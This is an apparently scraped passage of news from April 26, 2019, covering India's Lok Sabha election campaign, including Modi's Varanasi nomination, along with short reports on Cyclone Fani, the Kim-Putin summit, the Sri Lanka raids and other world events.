Yatra, tourist season, Bakarwal migration as reasons for further delay in elections. * Union Finance Minister Arun Jaitley on Friday took a dig at the Congress party, saying that India`s grand old party was contesting the 2019 election on 1971 agenda. * Anurag Thakur, the BJP`s three-time MP from Hamirpur in Himachal Pradesh, on Friday filed his nomination papers and declared movable and immovable assets worth over Rs 5.54 crore. * Two high-profile Bharatiya Janata Party (BJP) leaders -- Union Ministers Ravi Shankar Prasad and Raj Kumar Singh -- on Friday filed their nomination papers from Bihar. * The Congress approached the Delhi Election Commission and filed a complaint against Chief Minister Arvind Kejriwal accusing him of giving communal and provocative statement in a bid to attract voters on communal lines and demanded the poll panel to bar him from campaigning. * Congress President Rahul Gandhi on Friday called NYAY scheme a surgical strike on poverty as he took a dig at Prime Minister Narendra Modi for growing employment in the country. * A Delhi Court on Friday sought an Action Taken Report (ATR) from Delhi Police on a criminal complaint seeking directions for registration of an FIR under section 124A (IPC-- Sedition charges) against Congress president Rahul Gandhi. * The Congress party had no idea of the struggles faced by the poor people of the country as their money from the scams used to be deposited in Swiss banks, said Uttar Pradesh chief minister Yogi Adityanath. * BJP writes to CEO seeking prompt action against Mamata Banerjee alleging that she violated the Model Code of Conduct by asking Trinamool Congress party workers to resort to violence to ensure its victory in Lok Sabha election. * Election Commission bars Nadia BJP District President Mahadev Sarkar from holding any public meeting, road show, public rally and interviews in media in connection with ongoing elections, for 48 hours from 4 pm on April 26 till 4 pm on April 28. * Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media, says PM Modi in Jabalpur PM in Jabalpur, Madhya Pradesh: Remember how Congress people made fun of 'Swachh Bharat mission'. They didn't leave any chance to call the idea a small one. Whenever I used to pick the broom, they used to spend the entire day trolling me on social media pic.twitter.com/VEHVfyEAnZ ANI (@ANI) April 26, 2019 * Congress President Shri Rahul Gandhi's travel programme in UP on April 27th: 12:30 hrs: Public Meeting at Unchahar Public Meeting Ground, district Raebareli 14:45 hrs: Public Meeting at P.M. Ground, Nand Mahar, district Amethi 16:15 hrs: Public Meeting at P.M. Ground, Raniganj, district Amethi * Samajwadi Party president Akhilesh Yadav accuses Prime Minister Narendra Modi of doing nothing for 'thirsty' Bundelkhand region of Uttar Pradesh. * Hisar MP Dushyant Chautala's mother and JJP MLA Naina Chautala launched a sharp attack on Sunita Duggal, the BJP candidate from the Sirsa Lok Sabha seat, terming her a "barsati mendak" (seasonal politician) who would not be seen once the polls are over. * CPI(M) general secretary Sitaram Yechury drew a comparison between Hindu mythology characters Duryodhana and Dushasana and Prime Minister Narendra Modi and BJP president Amit Shah. "Out of 100 Kauravas, you just remember the name of two brothers Duryodhana and Dushasana. In the world`s biggest party, how many names do you remember? Modi-Amit Shah. What Kauravas faced in Mahabharata, the same situation is now panning out in political Mahabharat here," he said. * Delhi court extends interim protection from arrest to P Chidambaram, Karti till May 6 in Aircel-Maxis case. * Among all prime ministerial aspirants, who can really eliminate terrorism: Pm Narendra Modi. * Shiromani Akali Dal chief Parkash Singh Badal upped the ante by comparing the battle between Prime Minister Narendra Modi and Congress president Rahul Gandhi to one between an elephant and ant. "People of India need to think who they want as their Prime Minister? Who can fight Modi in a battle? This Gandhi? That would be like a battle between an elephant and an ant. That will be the extent of difference between the two," he said. * Congress candidate Atanasio Monserrate and AAP's Valmiki Naik file their nominations for the upcoming Panaji bypoll. * Odisha Congress chief Niranjan Patnaik and his son Navajyoti have emerged as the richest candidates in the fray for the fourth and final phase of twin elections in the state, according to a report. * While greenhorn Navajyoti Patnaik, with a total asset of Rs 104 crore, was found to be the wealthiest among the 52 candidates contesting the Lok Sabha polls, father Niranjan Patnaik's figured on top of the list of 334 assembly election nominees with property worth Rs 60 crore. * People of India need to think who will be the next Prime Minister of India? Who can compete with Modi.. this (Rahul) Gandhi, it's like comparing an elephant to an ant, says Shiromani Akali Dal patron and former chief minister of Punjab Parkash Singh Badal. Read more * West Bengal: Wrestler The Great Khali campaigns for BJP's Jadavpur candidate Anupam Hazra, reports ANI. Kolkata: Wrestler The Great Khali campaigns for BJP's Jadavpur candidate Anupam Hazra. #WestBengal pic.twitter.com/kDH9vghZFi ANI (@ANI) April 26, 2019 * Sam Pitroda says it was Priyanka Gandhi own decision to not fight from Varanasi. Speaking in a press conference in Jaipur, Sam Pitroda said, "It is Priyanka ji's decision.She herself thought that there is a lot of responsibility. She thought that rather than concentrating on one seat, she should focus on the job she has at hand. So that decision was finally hers and she decided it." *Uttar Pradesh: Mulayam Singh Yadav has been admitted to PGI Lucknow hospital. * Popular singer Daler Mehndi joins BJP. * Congress game plan not to stop BJP, but come to power in UP in 2022: Akhilesh Yadav *"I express my gratitude to the people for their love and blessings. A roadshow for such a long duration can only be done by the people of Kashi. Heartfelt thanks to the residents of Kashi and those who are voting. Voting is your right, election a celebration of democracy. Everyone should vote," says PM Modi to media in Kashi. * Prime Minister Narendra Modi files his nomination from Varanasi parliamentary constituency on Friday, April 26. * PM Modi enters the Collectorate's office to file nomination, hands over papers to District Magistrate Surendra Singh. * PM Modi reaches Varanasi Collectorate office to file nomination, sits with BJP President Amit Shah, JDU chief and Bihar CM Nitish Kumar, SAD patron Parkash Singh Badal, Shiv Sena chief Uddhav Thackeray, Nagaland CM Neiphiu Rio, Lok Janshakti Party president Ram Vilas Paswan, Tamil Nadu Deputy Chief Minister O. Panneerselvam, Apna Dal (Sonelal) chief Anupriya Patel, Meghalaya CM Conrad Sangma, UP CM Yogi Adityanath, BJP Himanta Biswa Sarma, Union Ministers Nitin Gadkari, Sushma Swaraj and Rajnath Singh sat surrounding the Prime Minister before he filing nomination. I thank our NDA family for joining us on this historic occasion. Stronger NDA for a Better India. #DeshModiKeSaath pic.twitter.com/HzhbKOgit5 Chowkidar Amit Shah (@AmitShah) April 26, 2019 * Slew of top BJP and NDA leaders arrive at Collectorate's office ahead of PM Modi's nomination filing from Varanasi. Leaders who have reached so far area: JDU chief and Bihar CM Nitish Kumar, UP CM Yogi Adityanath, former Samajwadi Party leader and Rajya Sabha MP Amar Singh, SAD patron Parkash Singh Badal, BJP president Amit Shah, Union Minister Rajnath Singh, External Affairs Minister Sushma Swaraj, Union Minister Nitin Gadkari, Railways Minister Piyush Goyal, Lok Janshakti Party president Ram Vilas Paswan, Shiv Sena chief Uddhav Thackeray, Ravi Kisan, and Nirahua. * SC refuses to interfere in the EC order banning release of film on PM Narendra Modi till the end of last phase of voting on May 19. SC also dismisses plea by Modi Biopic Movie. SC accepts the report of Election Commission. SC says "We are not inclined to interfere". *Rahul Gandhi's flight returns to Delhi after engine trouble, tweets the Congress chief. He informed that his rallies will be delayed. "Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience," tweeted Rahul. * PM Modi on his way to Collectorate's office along with his convoy to file nomination from Varanasi Lok Sabha Constituency. * Andhra Pradesh CM N Chandrababu Naidu wrote to Election Commission on Thursday over the transfer of DG Intelligence, Chief Secretary and Superintendents of Police of various districts of the state and seeks directions to CEO not to interrupt functioning of the state government: ANI * SP-BSP sacrificed seats in national interest, but Congress' agenda in LS polls is not to stop BJP from forming govt at Centre. Congress more keen on forming UP govt in 2022, rather than halting BJP: Akhilesh Yadav to PTI * PM Modi, accompanied by UP CM Yogi Adityanath, proceed towards Kaal Bhairav Temple in Varanasi. * PM Modi offers prayers at Kaal Bhairav Temple in Varanasi PM Modi offers prayers at Kaal Bhairav Temple in Varanasi. #DeshModiKeSaath https://t.co/eoZLVP5VAI BJP (@BJP4India) April 26, 2019 * Janata Dal United's Nitish Kumar and Lok Janshakti Party's Ram Vilas Paswan meet BJP President Amit Shah during NDA leaders meet in Varanasi to ANI. * The people of #Varanasi are very lucky as they are choosing the prime minister of India, while people of other constituencies are choosing their MPs: External Affairs Minister Sushma Swaraj to ANI * This election is not a fight, but a celebration of democracy: PM Modi * You're responsibility is to win your polling booth: PM Modi * Today everyone from Kashmir to Kanyakumari is excited and looking forward to participating in this festival of democracy. There is again a wave in India which echoes- Phir ek baar, Modi sarkar: PM Modi * Making the government is people's job, running the government is our responsibility and I have fulfilled this responsibility with honesty. My statement to you is as a fellow karyakarta: PM Modi * I too was a karyakartas once. I also had the privilege of putting up posters on walls: Modi in Varanasi *PM Modi addresses BJP Karyakartas in Kashi. Addressing BJP Karyakartas in Kashi. Watch. https://t.co/hA84l2rlkB Chowkidar Narendra Modi (@narendramodi) April 26, 2019 * A meeting of NDA leaders, led by BJP President Amit Shah, is currently underway in Varanasi. The meeting is being attended by Union Minister Rajnath Singh, Tamil Nadu deputy CM and AIADMK leader O. Panneerselvam, Shiv Sena chief Uddhav Thackeray, and North-East Democratic Alliance leaders. * People want Mamata Banerjee as the next PM, says Trinamool MP Dinesh Trivedi: Read here * Shiv Sena Chief Uddhav Thackeray offers prayers at Kaal Bhairav temple in #Varanasi. Shiv Sena Chief Uddhav Thackeray offers prayers at Kaal Bhairav temple in #Varanasi. pic.twitter.com/u9aq53CErA ANI UP (@ANINewsUP) April 26, 2019 * "I always say SP is 'Samapt Party' and BSP 'Bilkul Samapt Party'. You've already worked towards finishing off Congress party in Uttar Pradesh. They are breathing through two seats - Amethi & Raebareli but this time there will be 'Lotus' on both of them,"says Uttar Pradesh Deputy Chief Minister Keshav Prasad Maurya. * West Bengal: The Election Commission will deploy 580 companies of central forces to cover 100 per cent of election booths in the state during the fourth phase of polling. "We expect this will enable us to cover as many as 100 per cent of the polling stations by central forces," the Election Commission official told PTI. On Monday, eight Lok Sabha constituencies in the state - Baharampur, Krishnanagar, Ranaghat, Bardhaman Purba, Bardhaman-Durgapur, Asansol, Bolpur and Birbhum will go to polls. * The PM is expected to start the day by meeting the booth level workers at 8 am. At 11 am, the prime minister will visit the temple to worship and around 11.15 am he will leave the temple to file his nomination. The PM is expected to file his papers at 11.30 am. Read more. * Political parties will continue with their high-octave electioneering across the country. The fourth phase of the seven-phased Lok Sabha election will be held on April 29. PM Modi will address two rallies in Madhya Pradesh's Sidhi and Jabalpur while Congress chief Rahul Gandhi will campaign in Bihar's Samastipur. Both the leaders will also address public meetings in Maharashtra. While PM Modi will address a rally at Bandra-Kurla Complex (BKC) in Mumbai on Friday evening while Rahul will speak at Sinnar in Nashik district around the same time. PM Modi will be accompanied by Shiv Sena Chief Udhav Thakre in BKC rally. BJP's Amit Shah will hold a roadshow in Rajasthan's Jodhpur, Raghubar Das will hold a rally in Jharkhand's Dumka while Bihar Deputy Chief Minister Sushil Modi will rally in Bihar's Lakhisarai and Darbhanga. About 300 families have been forced to leave their houses due to fighting between security forces and the Taliban militants in Dasht-e-Qala district of Takhar province over the past two weeks, district governor Abdul Manaf Faizy told Xinhua. Majority of the displaced families have migrated to provincial capital Taluqan city and settled there, Faizy added. However, he noted that the security forces had been fighting to evict militants and ensure lasting peace in the beleaguered Dasht-e-Qala district in order to pave the way for returning the displaced families to their houses. Dozens of militants as well as security personnel lost their lives in the clash for control of Dasht-e-Qala district over the past few weeks. Similarly, fighting for control of Kuran-o-Manjan district in the northern Badakhshan province have forced 220 families to leave their houses for safer places, head of Natural Disaster Management Authority (NDMA) in Badakhshan province Abdullah Hamayon Dehqan told Xinhua. The official also confirmed that majority of the displaced families had been settled in Badakhshan provincial capital Faizabad. Since launching the so-called annual spring offensive by the Taliban outfit on April 12, fighting has tensified in war-torn Afghanistan. A day after holding a massive roadshow, Prime Minister Narendra Modi will file his nomination on Friday from the Varanasi constituency for the Lok Sabha election. PM Modi is scheduled to visit the Kaal Bhairav Mandir and worship before filing his papers. The PM is on a two-day visit to his parliamentary constituency in Uttar Pradesh. A procession is also scheduled, that would start from Maldahiya where PM Modi will garland the statue of Sardar Ballav Bhai Patel, and culminate at the Collectorate. The PM is expected to start the day by meeting the booth level workers at 8 am. At 11 am, the prime minister will visit the temple to worship and around 11.15 am he will leave the temple to file his nomination. The PM is expected to file his papers at 11.30 am. The Congress has fielded Ajay Rai from the constituency. Around 12.30 pm, the BJP will hold a press brief at the Taj Hotel. PM Modi will file his papers in the presence of Bharatiya Janata Party (BJP), National Democratic Alliance (NDA) and North East Democratic Alliance (NEDA) leaders. These include BJP president Amit Shah, Union Minister Rajnath Singh, Defence Minister Nirmala Sitharaman, External Affairs Minister Sushma Swaraj, Union Minister Nitin Gadkari, Railways Minister Piyush Goyal, Bihar CM Nitish Kumar, Shiromani Akali Dal patron and former Punjab chief minister Parkash Singh Badal, Lok Janshakti Party president Ram Vilas Paswan, Shiv Sena chief Uddhav Thackeray, Ravi Kisan, and Nirahua. "All senior BJP leaders including all members of party's parliamentary board will be present with PM Modi in Varanasi on April 26," BJP president Amit Shah had said at a press conference on Tuesday. On Thursday, PM Modi had held a mega roadshow drawing massive crowds, before culminating the show of strength with the "Ganga aarti" at the Dashashwamedh Ghat. Varanasi will go to polls in the seventh phase on May 19. The counting of votes will take place on May 23. In the 2014 Lok Sabha election, PM Modi, who contested from two seats -- Varanasi and Vadodara in Gujarat -- defeated Aam Aadmi Party (AAP) supremo and Delhi Chief Minister Arvind Kejriwal from here. Congress's Rai had finished third. Kolkata: People want West Bengal Chief Minister and Trinamool supremo Mamata Banerjee to be the Prime Minister, said party MP and former Rail Minister Dinesh Trivedi. Live TV You can see people with me, we have done development. People have decided - whether to be with guns or with development. BJP's candidate Arjun Singh is mafia. History says people have never spared gaddars (traitors) so that will take place. More the Prime Minister comes here, my vote will increase (for Mamata), the Barrackpore MP told Zee Media. Arjun Singh is a former Trinamool leader and the current BJP candidate for Barrackpore Lok Sabha. Last week Trinamool lodged a complaint against Arjun Singh for taking out a bike rally in the constituency and violating the model code of conduct. Responding to BJP's accusations that he doesn't come to his constituency, Trivedi says, "You see development has taken place in my constituency. BJP says whatever they want. Modi does not go to Varanasi villages, has he? But (in) my place, Mamata Banerjee has done work. It's a team through which we work and people will vote for them." People are fed up with turncoat politicians, he said, adding that Trinamool will surely win all the 42 Lok Sabha seats in the state. West Bengal wanted a change. Didi has given that change. Now India wants to change and didi will give that also, the 68-year-old added. Barrackpore has a significant population of Matuas, a Scheduled Caste community mostly comprising backward class Hindus who migrated from Bangladesh. Both the TMC and the BJP are working hard to woo the Matuas. Polling for the Cooch Behar and Alipurduar constituencies took place in the first phase on April 11, while Darjeeling, Jalpaiguri and Raiganj voted on April 18. The subsequent phases of polling in West Bengal will be held on April 29, May 6, May 12 and May 19. The votes will be counted on May 23. New Delhi: The schedule of Rahul Gandhi's rallies in Bihar on Friday suffered delays after his flight to Patna had to return to New Delhi after developing engine problems. The Congress chief tweeted that the plane taking him to Patna from the capital suffered engine trouble and was forced to return. He also said that the rallies he was scheduled to address on Friday - in Bihar's Samastipur, Balasore in Odisha and Maharashtra's Sangamner - would be delayed, apologising for the same as well. Engine trouble on our flight to Patna today! Weve been forced to return to Delhi. Todays meetings in Samastipur (Bihar), Balasore (Orissa) & Sangamner (Maharashta) will run late. Apologies for the inconvenience. pic.twitter.com/jfLLjYAgcO Rahul Gandhi (@RahulGandhi) April 26, 2019 Rahul is an SPG (Special Protection Group) protectee and therefore, a thorough investigation into the engine trouble of the plane he was in is now expected. This is not the first time that Rahul has had to face trouble in the air. In April of last year, a small plane - VT- AVH Falcon 2000- he was in developed a snag and reportedly went into 'free fall' before making a recovery and landing at the Hubli airport with considerable difficulty. At the time, Congress hinted at a conspiracy and had even filed a written complaint to Karnataka police chief. And earlier this month, Congress had once again alleged that there is a threat to Rahul's life after a green light was seen flashing on his face during an impromptu press interaction at an election rally. The party said it could be a sniper light even though it was later found that the light was from a camera of an AICC photographer. Punjab Chief Minister Captain Amarinder Singh has exuded confidence of Congress' victory in the Lok Sabha election 2019 and taking a dig at actor-turned-politician Sunny Deol's candidature from Gurdaspur on Bharatiya Janata Party (BJP) ticket, he said that the latter is just a "filmy fauji." Punjab CM Captain Amarinder Singh: He (Sunny Deol, BJP Lok Sabha candidate from Gurdaspur) is a filmy 'fauji', while I am a real fauji. We will defeat him, he is no threat to Sunil Jakhar (Congress Lok Sabha candidate from Gurdaspur), or the Congress. (File pic) pic.twitter.com/XyyF2yc7O1 ANI (@ANI) April 26, 2019 Deol joined BJP earlier this week and soon, the BJP announced that he will fight from Gurdaspur, the constituency from where Congress has fielded Sunil Jakhar. Earlier today, Jakhar filed his nomination from Gurdaspur, where he was accompanied by Singh. The mood in Gurdaspur is totally upbeat, in favour of @sunilkjakhar whom I accompanied today for filing of his nomination papers as @INCIndia candidate. Clearly, @INCPunjab is well set to sweep the constituency at the back of the work done by my govt in the past two years. pic.twitter.com/CPv6FbkQgY Capt.Amarinder Singh (@capt_amarinder) April 26, 2019 Dismissing the possibility of any threat to Jakhar by Deol, Singh said that the actor does not have any ground support in the constituency whereas he has worked for the people there. "He (Sunny Deol) is a filmy fauji, while I am a real fauji," Singh was quoted by as saying, alluding to Deol's role of a soldier in 1997 film 'Border'. "We will defeat him," he added. Live TV Singh is an ex-Army officer. He served as Captain in the 1965 Indo-Pakistan War. The Punjab CM also alleged that "artistes only come to vote and after that, they cannot be seen anywhere." "Congress will win all the seats in Punjab. Rahul Gandhi will be the PM," he said. Hyderabad: About 50 farmers from Nizamabad in Telangana have left for Varanasi to file nominations from the Lok Sabha constituency, where Prime Minister Narendra Modi is seeking re-election, in a bid to highlight their problems. The farmers are planning to contest as independents to press their demand for remunerative price to turmeric and constitution of a turmeric board. Ganga Reddy, a leader of the group of farmers who plan to file nominations, told PTI Friday they were on the way to Varanasi. Varanasi will go to the polls in the last phase on May 19. He said the group comprised 52 people and that more would reach Varanasi. "We want a turmeric board. We are going to file nominations to make the Centre and all political parties aware of that," he added. The idea is that their nominations would trigger a debate, leading to the constitution of a turmericboard, he said. Reddy said turmeric farmers from Tamil Nadu, who also want formation ofturmeric board, would also reach Varanasi. The BJP-led government at the Centre has failed to form a turmeric board, he alleged. Reddy said they were not associated with any political party. The only objective is to highlight their cause and not a serious contest in Varanasi, he said. Reddy claiemd some farmers in Varanasi were ready to sign on their nomination papers. It may be recalled that over 170 farmers had entered the fray in the recent election to Nizamabad Lok Sabha constituency to highlight the demands for remunerative price and formation ofturmericboard. Reddy said his group comprised some who contested the Nizamabad Lok Sabha election held in the first phase on April 11. BJP candidate in Nizamabad constituency Aravind Dharmapuri had recently alleged some of the people who planned to file nominations in Varanasi were doing so at the behest of the ruling TRS. Some of them are not even farmers, he claimed. Nizamabad is represented by K Kavitha, daughter of Chief Minister K Chandrasekhar Rao, in the outgoing Lok Sabha. She is seeking re-election. Kolkata: In a bid to create voting awareness, Muslim leaders and imams across West Bengal have written at least 10,000 letters to the members of their community to ensure that they exercise their franchise and vote for a secular party, reports DNA. The letters, written in either Urdu or Bengali, have been sent by All India Milli Council and signed by Qari Fazlur Rahman. He is the imam who leads Eid namaz at Kolkata's Red Road. "There is no alternative for election in a democracy. We get an opportunity to elect our government every five years. For every mistake, you will have to wait for five years to rectify. So it is imperative that you think carefully before you cast your vote," the letter reads, reports DNA. Live TV "We've appealed to Muslims to use the opportunity carefully so that no communal force in the country can raise its head and a secular force is voted to power," Rahman told DNA. West Bengal votes in all the seven phases of the Lok Sabha election for its 42 constituencies. The next round of voting is on April 29 while Kolkata goes to polls in the last phase on May 19. In their message to the Muslims, the letter also mentions that the community should vote carefully for one party and their votes should not get split as it will only "help fascist forces." Rahman also said that among the secular parties, the people should the one who is the strongest and has better chances of winning. "In Bengal, it is the ruling party which has the maximum possibility," he added. West Bengal is currently ruled by the Mamata Banerjee-led Trinamool Congress government. GWALIOR: A fire broke out in the canteen situated on Platform 1 of Gwalior railway station on Friday morning. The blaze is now under control now. No reports of casualties or injuries have emerged yet. Several fire tenders were rushed to the spot. "All material inside the canteen was gutted into the fire, however, no casualties occurred," officials told news agency ANI. "Prima facie short circuit was the cause of the fire," officials added. An investigation in the matter is underway. Tollywood actor Ram Charan Tej has teamed up with Bollywood superstar Salman Khan. As per sources, Ram Charan will be lending his voice to Salman Khan for the Telugu version of his upcoming film 'Bharat'. This mega budget film is dubbed into Telugu and Tamil languages. For Telugu version, Ram Charan has been roped in to dub for Salmans role. The trailer (in Telugu) is expected to release soon. The mega power star already dubbed for the 53- year old actor in the Telugu version of prem Ratan Dhan Payo. The trailer of 'Bharat' was unveiled recently and got a fantastic response. Considered as the official remake of Korean film 'Ode to My Father', the three minute long video of the trailer gives us the glimpse of how the film is going to be with machoism, action, antics and all the necessary elements of a commercial entertainer. The film has Katrina Kaif as the leading lady and is directed by Ali Abbas Zafar of Sultan fame. In curly hair and some kickass dialogues to her credit, actress Disha Patani makes sure that there is enough glamour to keep the audience hooked. Bharat is slated for release on Eid and fans of Salman Khan are just waiting for the big day. Let us see whether the Telugu speaking fans of Salman Khan will be impressed with Ram Charans voice or not. The India Meteorological Department (IMD) Friday issued a heavy rain warning for coastal regions of Tamil Nadu and Puducherry in the next 24 hours. A well low-pressure area lies over East Equatorial Indian Ocean & adjoining southeast Bay of Bengal. It is very likely to intensify into a depression during next 24 hours over East Equatorial Indian Ocean and adjoining central parts of south Bay of Bengal and into a Cyclonic Storm during subsequent 24 hours over southwest Bay of Bengal & adjoining Equatorial Indian Ocean, said the weather department in a release. Cyclone Fani is expected to hit the coastal regions of Tamil Nadu and Puducherry on April 30, causing heavy rains. A red alert has been issued in several districts. It (Cyclonic Storm) is very likely to move northwestwards along and off east coast of Sri Lanka near north Tamil Nadu coast on 30th April 2019, it added. A low-pressure area is likely to intensify into a cyclonic storm between April 27 and 29, which will lead to moderate to heavy rainfall across coastal Tamil Nadu and Puducherry. The coastal areas also will witness heavy rainfall beginning early next week, the IMD said in a statement. Squally wind speed reaching 35-45 kmph gusting to 55 kmph likely over East Equatorial Indian Ocean & adjoining southeast Bay of Bengal on 25th. It would gradually increase becoming squally wind peed reaching 45-55 kmph gusting to 65 kmph over East Equatorial Indian Ocean & adjoining central parts of south Bay of Bengal on 26th; gale wind speed reaching 65-75 kmph gusting to 85 kmph over Southwest Bay of Bengal & adjoining Equatorial Indian Ocean on 27th; 80-90 kmph gusting to 100 kmph over Southwest Bay of Bengal & adjoining Equatorial Indian Ocean and along & off Sri Lanka coast on 28th and 90-100 kmph gusting to 115 kmph over Southwest Bay of Bengal, along & off Sri Lanka coast and off Tamilnadu & Puducherry coast on 29th, said the IMD. SEOUL: North Korean leader Kim Jong Un said during his summit with Russian President Vladimir Putin peace and security on the Korean peninsula depend entirely on the future US attitude, North Korean state media KCNA said on Friday. Kim's remarks were seen as keeping the pressure on the United States to be more flexible in accepting Pyongyang`s demands to ease sanctions, compared to the US stance during his unsuccessful second summit with US President Donald Trump in Hanoi in February. The North Korean leader said at the time he would wait until the end of the year for the United States to become more flexible. "The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the US took a unilateral attitude in bad faith at the recent second DPRK-US summit talks," KCNA reported Kim as saying, using North Korea`s official name, the Democratic People`s Republic of Korea. "The DPRK will gird itself for every possible situation," Kim said. Kim invited Putin to North Korea at a convenient time and Putin accepted, KCNA said. There was no immediate comment on the summit from the US State Department but William Hagerty, the US ambassador to Japan, told a Washington thinktank Kims contact with Russia and China was part of an effort to seek relief from international sanctions. "The fact you see Kim Jong Un meeting with Vladimir Putin underscores the fact that the sanctions are working and the sanctions are putting extreme economic pressure on the North Korean regime," Hagerty said. "What we see is an outreach to try to find a way to deal with it. There is a much simpler way to deal with it and that is to denuclearise," he said. He said it was important the international community enforced U.N. sanctions against North Korea that were imposed because of Pyongyang`s nuclear and missile programmes. The first face-to-face talks between Putin and Kim, held on an island off the Russian Pacific city of Vladivostok on Thursday, did not appear to yield any major breakthrough. The two leaders had an in-depth discussion on ways for their countries to promote strategic communication and tactical collaboration in the course of ensuring peace and security on the Korean peninsula and in the region, KCNA said. Putin said he thought a deal on Pyongyang`s nuclear programme was possible and that the way to get there was to move forward step by step in order to build trust. But any US guarantees might need to be supported by the other nations involved in previous six-way talks on the nuclear issue, Putin said, which was seen as a way to use the summit to strengthen Russia`s diplomatic clout as a global player. Russia and North Korea agreed to take measures to further cooperate in trade, economy, science and technology, KCNA said. New Delhi: In a joint operation, Sri Lankan Army and Police raided a hideout in Sammanthurai, Ampara district of the island nation, triggering a gunbattle with a group of extremists, suspected to be linked to the deadly Easter attacks. According to reports, three explosions, believed to have been carried out by suicide bombers, took place during the gunbattle. Sammanthurai is 325 kilometres from Colombo, the capital of Sri Lanka. At least seven people were arrested by the security forces after the gunbattle on Friday evening. The police said they recovered a huge cache of explosives and arms and ammunition including a uniform and a banner with the logo of Islamic State terror organisation. At least 50 gelignite sticks, 1 lakh metal balls and a drone camera were also recovered from their possession. At least nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday, killing 253 people and injured more than 500 others. The bombs tore through three five-star hotels in Colombo: the Cinnamon Grand, the Shangri La and the Kingsbury. At least 38 foreigners, including 10 Indian nationals, died in the attacks. The Islamic State claimed the responsibility of the attack. However, the Lankan government blamed the local Islamist extremist group called National Tawheed Jamath (NTJ) for the attacks. The police have so far arrested over 70 people in connection with the case. At least two people were injured after an explosion reportedly took place early on Friday in a Tata Steelworks plant in Port Talbot, Wales, according to the South Wales Police department. The explosion in the United Kingdom plant started around 3.35 am, said the police. Live TV As per the initial probe, the seat of the explosion was a train which carries molton metal into the works, said the police. The explosion caused some small fires which have been brought under control. There has been some damage to a few buildings at the site. A full investigation has been initiated into the matter. Update: All staff accounted for No need for concerns re hazardous effects from the smoke from the fire Motorway remains open Full statement ^CD pic.twitter.com/97DOjOYoPl South Wales Police (@swpolice) April 26, 2019 Latest update to TATA Steelworks incident: At this time we believe only two casualties with minor injuries Please avoid the area at this time Full statement ^CD pic.twitter.com/ohmEKkaCpT South Wales Police (@swpolice) April 26, 2019 South Wales Police are aware of an incident in TATA Steelworks, Port Talbot. Emergency services are in attendance and further information will be released shortly. Thank you for your patience. South Wales Police (@swpolice) April 26, 2019 The company in a tweet confirmed there are no serious injuries and all employees have been accounted for. "All fires are now under control," it said. We can confirm two of our employees were slightly injured when there was a spillage of liquid iron while it was travelling to the steel plant. All fires have now been extinguished. A full investigation has begun. Tata Steel in Europe (@TataSteelEurope) April 26, 2019 We can confirm there are no serious injuries and all employees have been accounted for. All fires are now under control. Tata Steel in Europe (@TataSteelEurope) April 26, 2019 We're dealing with an incident at our Port Talbot site. Emergency services assisting our own personnel. Updates to come. Tata Steel in Europe (@TataSteelEurope) April 26, 2019 Taking to Twitter, the police informed that it is in attendance with emergency services from fire, rescue and the ambulance service at the site of the incident. Emergency service has been announced at the scene, added the police. All the members of the staff have been accounted for, further said the police. "Emergency services remain on the scene but we have had confirmation that all members of staff are accounted for and there are only two casualties with minor injuries. Early indications are that the seat of the explosion was a train which carries molton metal into the works. The explosion caused some small fires which are all under control and damage to some buildings on the site. South West Fire and Rescue Service have informed us there is no need for concerns re hazardous effects from the smoke from the fire. The motorway remains open," tweeted the South Wales Police. "South Wales Police is currently in attendance with emergency service colleagues from fire and rescue and the ambulance service at an incident at Tata Steelworks, Port Talbot. We received numerous calls at around 3.35 am reporting an explosion. At this time we believe there are just two casualties with minor injuries. This incident is ongoing at the moment and emergency services are at the scene investigating. We are asking people to avoid this area at this time. We will update further as more information is available," earlier tweeted the police. WELLINGTON: Extremist ideology must be defeated, Britain`s Prince William said during a visit to a New Zealand mosque on Friday where dozens were killed in a mass shooting last month after earlier meeting survivors of the massacre. William, the Duke of Cambridge, spoke at Al Noor mosque in the South Island city of Christchurch, one of two mosques where 50 people were killed by a lone gunman during Friday prayers on March 15. Live TV Forty-three people were killed at Al Noor mosque. "What happened here was fuelled by a warped ideology that knows no boundaries," William told an audience that included Prime Minister Jacinda Ardern and other religious and community leaders. "Extremism in all its forms must be defeated," he said. William made the two-day visit to New Zealand on behalf of his 93-year-old grandmother Queen Elizabeth, New Zealand`s head of state, following a request by Ardern. Preceded by a large contingent of police and watched by a police helicopter overhead, he was greeted by Ardern and the imam of Al Noor mosque, Gamel Fouda. He was due to visit the Linwood mosque, where another seven people were killed, later on Friday. "The message from Christchurch and the message from Al Noor and Linwood mosques could not be more clear. The global ideology of hate will fail to divide us," William said. Fouda thanked the prince for his speech, saying he had shown "we count". A 28-year-old man, a suspected white supremacist, has been charged with 50 counts of murder over New Zealand`s worst peacetime mass shooting. Another 50 people were wounded in the attacks. William started his visit on Thursday in Auckland, New Zealand`s largest city, where he attended an Anzac Day service in remembrance of Australian and New Zealand war dead. He later visited the Starship Children`s Hospital with Ardern to meet 5-year-old Alen Alsati, who woke recently from a coma after she and her father were wounded in the attack. Photos and a video posted on Kensington Palace`s Twitter account showed William sitting on the side of the child`s hospital bed, surrounded by her family and Ardern. The girl asked if he had a daughter. "Yes, she`s called Charlotte ... she`s about the same age as you," William replied. He flew to Christchurch later on Thursday to meet some of the first responders to the mosque shootings, including ambulance staff. "You did an incredible job on a very bad day," he said, according to Kensington Palace`s Twitter account. Russian President Vladimir Putin (R) meets with top leader of the Democratic People's Republic of Korea (DPRK) Kim Jong Un in Vladivostok, Russia, April 25, 2019. (Xinhua/Sputnik) VLADIVOSTOK, Russia, April 25 (Xinhua) -- Russian President Vladimir Putin and top leader of the Democratic People's Republic of Korea (DPRK) Kim Jong Un on Thursday said that they had substantial discussions on bilateral ties and the Korean Peninsula nuclear issue during their first-ever meeting. The four-hour talks started with a one-on-one conversation between the two leaders and they were later joined by members of national delegations. The two sides had an in-depth discussion on various topics including the denuclearization of the Korean Peninsula, bilateral relations, the United Nations and relations with the United States. Putin reaffirmed that "there is no alternative to the peaceful solution of nuclear and other issues on the Korean Peninsula," adding that Russia is ready to continue cooperation to reduce tensions on the peninsula, and to strengthen security in Northeast Asia as a whole. "Denuclearization means to a certain extent the disarmament of the DPRK. 